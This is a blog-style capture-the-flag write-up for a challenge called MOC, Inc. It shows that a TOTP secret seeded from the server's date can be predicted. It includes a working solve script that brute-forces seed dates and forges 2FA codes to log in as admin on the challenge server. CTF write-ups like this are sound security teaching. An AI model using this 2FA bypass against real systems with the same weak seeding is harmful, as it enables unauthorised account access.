Published on: February 5, 2025
5 min read · Posted by Baba is Dead
Towards the end of last month, we started receiving reports about suspicious activity coming from a company called MOC, Inc. Our investigative team has tracked down their secret company porta
We are greeted with this webpage
So it seems we need to someone login to the provided admin account using an unknown 2FA code. Lets take a look at the source code.
totp = pyotp.TOTP(result[0])
if totp.verify(request.form['totp']):
with open('../flag.txt') as file:
return render_template('portal.html', message=file.read())
It seems pyotp is used to generate the OTPs. Pyotp works by taking in a secret, and it generates an otp which is only valid for 30 seconds. As such, for this challenge, as long as we know the secret, we are able to generate our own otp to use.
Heres where the secret is generated
random.seed(datetime.datetime.today().strftime('%Y-%m-%d'))
...
if __name__ == '__main__':
if len(sys.argv) == 3:
SECRET_ALPHABET = 'ABCDEFGHJKLMNOPQRSTUVWXYZ234567'
totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)])
The important thing to note here that the pseudo random generator in python has been seeded. Python’s random module is not truly random, and needs a set seed in order to begin it’s random process. If we provide it with the same seed on two separate runs, then both those runs will produce the same outcome.
The random has been seeded with the current (server start time)’s “Year-Month-Date” As the input seed. If we can determine the input seed, then we will be able to determine the totp_secret that is generated by the random module.
We don’t know the exact time the server started, but it isn’t too difficult to guess. We can just start from the CTF’s start date (2024-06-08) and work our way back in time until the server tells us the OTP generated from this seed is valid.
So the solve script process is
import random
import datetime
import pyotp
import requests
SECRET_ALPHABET = 'ABCDEFGHJKLMNOPQRSTUVWXYZ234567'
current_date = datetime.datetime.today()
for i in range(100):
back = current_date - datetime.timedelta(days=i)
seed = back.strftime('%Y-%m-%d')
# Seed the RNG
random.seed(seed)
# Using the seed, get the secret generated
totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)])
# Using the secret, generate an OTP
totp = pyotp.TOTP(totp_secret)
# Try the OTP generated
params = {'username': 'admin', 'password': 'admin', 'totp': totp.now()}
result = requests.post('http://challs.bcactf.com:31772/', data=params)
# If correct, then print the flag
if 'incorrect' not in result.text:
print(result.text)
break
And we can retrieve our flag
Please login to comment
No comments yet